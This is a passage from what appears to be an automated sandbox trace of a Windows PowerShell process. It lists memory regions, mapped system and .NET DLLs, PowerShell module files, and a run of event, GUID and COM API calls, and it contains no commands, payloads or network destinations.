(normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.mf49f6405#\\e3134541fd9904dc895922f5256ef8f3\\microsoft.management.infrastructure.ni.dll") Region: id = 2012 start_va = 0x4f00000 end_va = 0x4ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f00000" filename = "" Region: id = 2013 start_va = 0x6ac90000 end_va = 0x6acd6fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.numerics.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Numerics\\e7d6ed984300c7212c6e682c4f730b1e\\System.Numerics.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.numerics\\e7d6ed984300c7212c6e682c4f730b1e\\system.numerics.ni.dll") Region: id = 2017 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 2020 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 2024 start_va = 0x8f0000 end_va = 0x8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 2026 start_va = 0x900000 end_va = 0x90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 2030 start_va = 0x910000 end_va = 0x91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000910000" filename = "" Region: id = 2032 start_va = 0x9a0000 end_va = 0x9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009a0000" filename = "" Region: id = 2036 start_va = 0x9b0000 end_va = 0x9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 2038 start_va = 0x9c0000 end_va = 0x9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009c0000" filename = "" Region: id = 2040 start_va = 0x9d0000 end_va = 0x9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 2043 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 2047 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 2050 start_va = 0xa40000 end_va = 0xa4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a40000" filename = "" Region: id = 2053 start_va = 0xa50000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 2057 start_va = 0x6aaf0000 end_va = 0x6ac87fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.csharp.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.CSharp\\f73f48afb5512225dedaee9c88ac5050\\Microsoft.CSharp.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.csharp\\f73f48afb5512225dedaee9c88ac5050\\microsoft.csharp.ni.dll") Region: id = 2059 start_va = 0xa60000 end_va = 0xa6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 2062 start_va = 0x1ee0000 end_va = 0x1eeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 2064 start_va = 0x1ef0000 end_va = 0x1efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ef0000" filename = "" Region: id = 2069 start_va = 0x1ef0000 end_va = 0x1efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ef0000" filename = "" Region: id = 2072 start_va = 0x1f80000 end_va = 0x1f8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 2086 start_va = 0x4d00000 end_va = 0x4d3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d00000" filename = "" Region: id = 2087 start_va = 0x5060000 end_va = 0x59effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005060000" filename = "" Region: id = 2088 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 2089 start_va = 0x73aa0000 end_va = 0x73b1ffff monitored = 0 entry_point = 0x73ab37c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 2090 start_va = 0x59f0000 end_va = 0x5aaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000059f0000" filename = "" Region: id = 2095 start_va = 0x5ab0000 end_va = 0x5b8efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005ab0000" filename = "" Region: id = 2112 start_va = 0x5010000 end_va = 0x504ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005010000" filename = "" Region: id = 2113 start_va = 0x5a10000 end_va = 0x5a4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a10000" filename = "" Region: id = 2114 start_va = 0x5a70000 end_va = 0x5aaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a70000" filename = "" Region: id = 2115 start_va = 0x7ef92000 end_va = 0x7ef94fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef92000" filename = "" Region: id = 2116 start_va = 0x73a90000 end_va = 0x73a9dfff monitored = 0 entry_point = 0x73a91235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 2118 start_va = 0x4ca0000 end_va = 0x4cdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ca0000" filename = "" Region: id = 2119 start_va = 0x5be0000 end_va = 0x5c1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005be0000" filename = "" Region: id = 2120 start_va = 0x7ef8f000 end_va = 0x7ef91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef8f000" filename = "" Region: id = 2121 start_va = 0x4440000 end_va = 0x447ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004440000" filename = "" Region: id = 2122 start_va = 0x4950000 end_va = 0x498ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004950000" filename = "" Region: id = 2123 start_va = 0x7ef8c000 end_va = 0x7ef8efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef8c000" filename = "" Region: id = 2124 start_va = 0x1f80000 end_va = 0x1f8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 2129 start_va = 0x1fd0000 end_va = 0x200ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 2130 start_va = 0x5d00000 end_va = 0x5d3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d00000" filename = "" Region: id = 2131 start_va = 0x7ef89000 end_va = 0x7ef8bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef89000" filename = "" Region: id = 2143 start_va = 0x5d50000 end_va = 0x5d8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d50000" filename = "" Region: id = 2144 start_va = 0x5d90000 end_va = 0x5dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d90000" filename = "" Region: id = 2145 start_va = 0x7ef86000 end_va = 0x7ef88fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef86000" filename = "" Region: id = 2146 start_va = 0x2010000 end_va = 0x2020fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002010000" filename = "" Region: id = 2151 start_va = 0x4340000 end_va = 0x4341fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "powershellget.psd1" filename = "\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1") Region: id = 2152 start_va = 0x5dd0000 end_va = 0x61cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005dd0000" filename = "" Region: id = 2153 start_va = 0x4350000 end_va = 0x4351fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "powershellget.psd1" filename = "\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1") Region: id = 2154 start_va = 0x5dd0000 end_va = 0x61cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005dd0000" filename = "" Region: id = 2165 start_va = 0x1fd0000 end_va = 0x1fd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.management.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1") Region: id = 2166 start_va = 0x5dd0000 end_va = 0x61cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005dd0000" filename = "" Region: id = 2167 start_va = 0x1fe0000 end_va = 0x1fe0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.management.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1") Region: id = 2171 start_va = 0x5dd0000 end_va = 0x61cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005dd0000" filename = "" Region: id = 2176 start_va = 0x4de0000 end_va = 0x4e1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004de0000" filename = "" Region: id = 2177 start_va = 0x4e40000 end_va = 0x4e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e40000" filename = "" Region: id = 2178 start_va = 0x7ef89000 end_va = 0x7ef8bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef89000" filename = "" Region: id = 2182 start_va = 0x6a910000 end_va = 0x6aae6fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.commands.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Pae3498d9#\\ade0afceac1317e3668a9c8086d8d18b\\Microsoft.PowerShell.Commands.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.pae3498d9#\\ade0afceac1317e3668a9c8086d8d18b\\microsoft.powershell.commands.management.ni.dll") Region: id = 2187 start_va = 0x6a8e0000 end_va = 0x6a907fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.install.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Confe64a9051#\\1561b93d6d25c4a9c3e2659ab29a5e73\\System.Configuration.Install.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.confe64a9051#\\1561b93d6d25c4a9c3e2659ab29a5e73\\system.configuration.install.ni.dll") Region: id = 2191 start_va = 0x1fd0000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 2195 start_va = 0x1fe0000 end_va = 0x1feffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fe0000" filename = "" Region: id = 2196 start_va = 0x4360000 end_va = 0x439ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004360000" filename = "" Region: id = 2197 start_va = 0x5df0000 end_va = 0x5e2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005df0000" filename = "" Region: id = 2198 start_va = 0x7ef30000 end_va = 0x7ef7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef30000" filename = "" Region: id = 2199 start_va = 0x7ef20000 end_va = 0x7ef2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef20000" filename = "" Region: id = 2204 start_va = 0x1fe0000 end_va = 0x1fe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001fe0000" filename = "" Region: id = 2205 start_va = 0x75a70000 end_va = 0x75af2fff monitored = 0 entry_point = 0x75a723d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 2206 start_va = 0x1ff0000 end_va = 0x1ff0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ff0000" filename = "" Region: id = 2211 start_va = 0x6a8c0000 end_va = 0x6a8d9fff monitored = 0 entry_point = 0x6a8d03d0 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\SysWOW64\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wmiutils.dll") Region: id = 2222 start_va = 0x6a850000 end_va = 0x6a8b0fff monitored = 0 entry_point = 0x6a88bf40 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\SysWOW64\\wbemcomn2.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn2.dll") Region: id = 2226 start_va = 0x72380000 end_va = 0x72396fff monitored = 0 entry_point = 0x723835fa region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 2231 start_va = 0x5c50000 end_va = 0x5c8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c50000" filename = "" Region: id = 2232 start_va = 0x5e90000 end_va = 0x5ecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e90000" filename = "" Region: id = 2233 start_va = 0x7ef83000 end_va = 0x7ef85fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef83000" filename = "" Region: id = 2234 start_va = 0x6a840000 end_va = 0x6a84afff monitored = 0 entry_point = 0x6a8452a0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 2241 start_va = 0x6a810000 end_va = 0x6a830fff monitored = 1 entry_point = 0x6a8198e0 region_type = mapped_file name = "wminet_utils.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WMINet_Utils.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wminet_utils.dll") Region: id = 2242 start_va = 0x2000000 end_va = 0x200ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002000000" filename = "" Region: id = 2243 start_va = 0x2000000 end_va = 0x200ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002000000" filename = "" Region: id = 2248 start_va = 0x2000000 end_va = 0x200ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002000000" filename = "" Region: id = 2610 start_va = 0x6a800000 end_va = 0x6a80efff monitored = 0 entry_point = 0x6a8093d0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 2615 start_va = 0x6a750000 end_va = 0x6a7f5fff monitored = 0 entry_point = 0x6a7ba2f0 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 2617 start_va = 0x6a730000 end_va = 0x6a747fff monitored = 0 entry_point = 0x6a731335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 2626 start_va = 0x5e80000 end_va = 0x5ebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e80000" filename = "" Region: id = 2627 start_va = 0x5ed0000 end_va = 0x5f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005ed0000" filename = "" Region: id = 2628 start_va = 0x7ef83000 end_va = 0x7ef85fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef83000" filename = "" Region: id = 2780 start_va = 0x2000000 end_va = 0x2004fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wmiutils.dll.mui" filename = "\\Windows\\SysWOW64\\wbem\\en-US\\wmiutils.dll.mui" (normalized: "c:\\windows\\syswow64\\wbem\\en-us\\wmiutils.dll.mui") Region: id = 2783 start_va = 0x5ba0000 end_va = 0x5bdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005ba0000" filename = "" Region: id = 2784 start_va = 0x5d10000 end_va = 0x5d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d10000" filename = "" Region: id = 2785 start_va = 0x5f10000 end_va = 0x600ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f10000" filename = "" Region: id = 2786 start_va = 0x7ef80000 end_va = 0x7ef82fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef80000" filename = "" Region: id = 2799 start_va = 0x74940000 end_va = 0x7494afff monitored = 0 entry_point = 0x74941992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 2802 start_va = 0x73b40000 end_va = 0x73b7bfff monitored = 0 entry_point = 0x73b4145d region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 2803 start_va = 0x6010000 end_va = 0x611ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006010000" filename = "" Region: id = 2804 start_va = 0x73b30000 end_va = 0x73b34fff monitored = 0 entry_point = 0x73b315df region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" (normalized: "c:\\windows\\syswow64\\wshtcpip.dll") Region: id = 2811 start_va = 0x73b20000 end_va = 0x73b25fff monitored = 0 entry_point = 0x73b21673 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\SysWOW64\\wship6.dll" (normalized: "c:\\windows\\syswow64\\wship6.dll") Region: id = 2820 start_va = 0x73ba0000 end_va = 0x73be3fff monitored = 0 entry_point = 0x73bb63f9 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 2821 start_va = 0x6120000 end_va = 0x633ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006120000" filename = "" Region: id = 2822 start_va = 0x74920000 end_va = 0x7493bfff monitored = 0 entry_point = 0x7492a431 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 2823 start_va = 0x73b90000 end_va = 0x73b96fff monitored = 0 entry_point = 0x73b9128d region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 2825 start_va = 0x739b0000 end_va = 0x739b5fff monitored = 0 entry_point = 0x739b14b2 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 2833 start_va = 0x6a6e0000 end_va = 0x6a717fff monitored = 0 entry_point = 0x6a6e990e region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 2834 start_va = 0x6120000 end_va = 0x629ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006120000" filename = "" Region: id = 2835 start_va = 0x6300000 end_va = 0x633ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006300000" filename = "" Region: id = 2840 start_va = 0x4340000 end_va = 0x4340fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1") Region: id = 2841 start_va = 0x4350000 end_va = 0x4350fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1") Region: id = 2850 start_va = 0x4e40000 end_va = 0x4e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e40000" filename = "" Region: id = 2851 start_va = 0x5cf0000 end_va = 0x5d2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005cf0000" filename = "" Region: id = 2852 start_va = 0x7ef80000 end_va = 0x7ef82fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef80000" filename = "" Region: id = 2853 start_va = 0x69b70000 end_va = 0x6a6ddfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.commands.utility.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.P521220ea#\\f6f5592245815a51dae8c19cd5d04783\\Microsoft.PowerShell.Commands.Utility.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.p521220ea#\\f6f5592245815a51dae8c19cd5d04783\\microsoft.powershell.commands.utility.ni.dll") Region: id = 2858 start_va = 0x4340000 end_va = 0x4347fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 2859 start_va = 0x4350000 end_va = 0x4357fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 2863 start_va = 0x4340000 end_va = 0x434ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 2867 start_va = 0x4350000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 2868 start_va = 0x43e0000 end_va = 0x43effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043e0000" filename = "" Region: id = 2876 start_va = 0x43f0000 end_va = 0x43f7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 2877 start_va = 0x4480000 end_va = 0x4487fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 2880 start_va = 0x4e20000 end_va = 0x4e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e20000" filename = "" Region: id = 2881 start_va = 0x5c90000 end_va = 0x5ccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c90000" filename = "" Region: id = 2882 start_va = 0x7ef80000 end_va = 0x7ef82fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef80000" filename = "" Region: id = 2886 start_va = 0x43f0000 end_va = 0x43fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043f0000" filename = "" Region: id = 2890 start_va = 0x43f0000 end_va = 0x43fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043f0000" filename = "" Region: id = 2979 start_va = 0x4de0000 end_va = 0x4e1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004de0000" filename = "" Region: id = 2980 start_va = 0x5e40000 end_va = 0x5e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e40000" filename = "" Region: id = 2981 start_va = 0x7ef80000 end_va = 0x7ef82fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef80000" filename = "" Region: id = 2985 start_va = 0x43f0000 end_va = 0x43fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043f0000" filename = "" Thread: id = 12 os_tid = 0xf18 [0142.833] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4c0 [0142.833] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x4b8 [0142.833] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4bc [0142.833] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4d0 [0142.834] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4cc [0142.834] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x4c8 [0142.834] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x598 [0142.834] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x59c [0142.834] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x5a0 [0142.834] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x5a4 [0142.834] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5a8 [0142.835] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5ac [0142.835] SetEvent (hEvent=0x4d0) returned 1 [0142.835] SetEvent (hEvent=0x4c0) returned 1 [0142.835] SetEvent (hEvent=0x4b8) returned 1 [0142.835] SetEvent (hEvent=0x4bc) returned 1 [0142.835] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5b0 [0142.835] SetEvent (hEvent=0x364) returned 1 [0142.848] SetEvent (hEvent=0x4cc) returned 1 [0142.848] SetEvent (hEvent=0x4c8) returned 1 [0142.848] SetEvent (hEvent=0x598) returned 1 [0142.870] CoCreateGuid (in: pguid=0x14dc68 | out: pguid=0x14dc68*(Data1=0xb6532e54, Data2=0x52a1, Data3=0x4c58, Data4=([0]=0x8e, [1]=0x30, [2]=0xe, [3]=0xbd, [4]=0x3b, [5]=0x77, [6]=0x61, [7]=0x9e))) returned 0x0 [0142.872] ReportEventW (hEventLog=0x4e80004, wType=0x4, wCategory=0x4, dwEventID=0x193, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x24c454c*="Stopped", lpRawData=0x24c4468) returned 1 [0142.884] SetEvent (hEvent=0x364) returned 1 [0143.029] CloseHandle (hObject=0x364) returned 1 [0143.181] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1 [0143.184] CoGetContextToken (in: pToken=0x14f32c | out: pToken=0x14f32c) returned 0x0 [0143.184] IUnknown:QueryInterface (in: This=0x49fab8, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14f350 | out: ppvObject=0x14f350*=0x49fac4) returned 0x0 [0143.184] IComThreadingInfo:GetCurrentThreadType (in: This=0x49fac4, pThreadType=0x14f3b0 | out: pThreadType=0x14f3b0*=0) returned 0x0 [0143.184] IUnknown:Release (This=0x49fac4) returned 0x1 [0143.185] CoGetContextToken (in: pToken=0x14f03c | out: pToken=0x14f03c) returned 0x0 [0143.185] IUnknown:QueryInterface (in: This=0x49fab8, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, 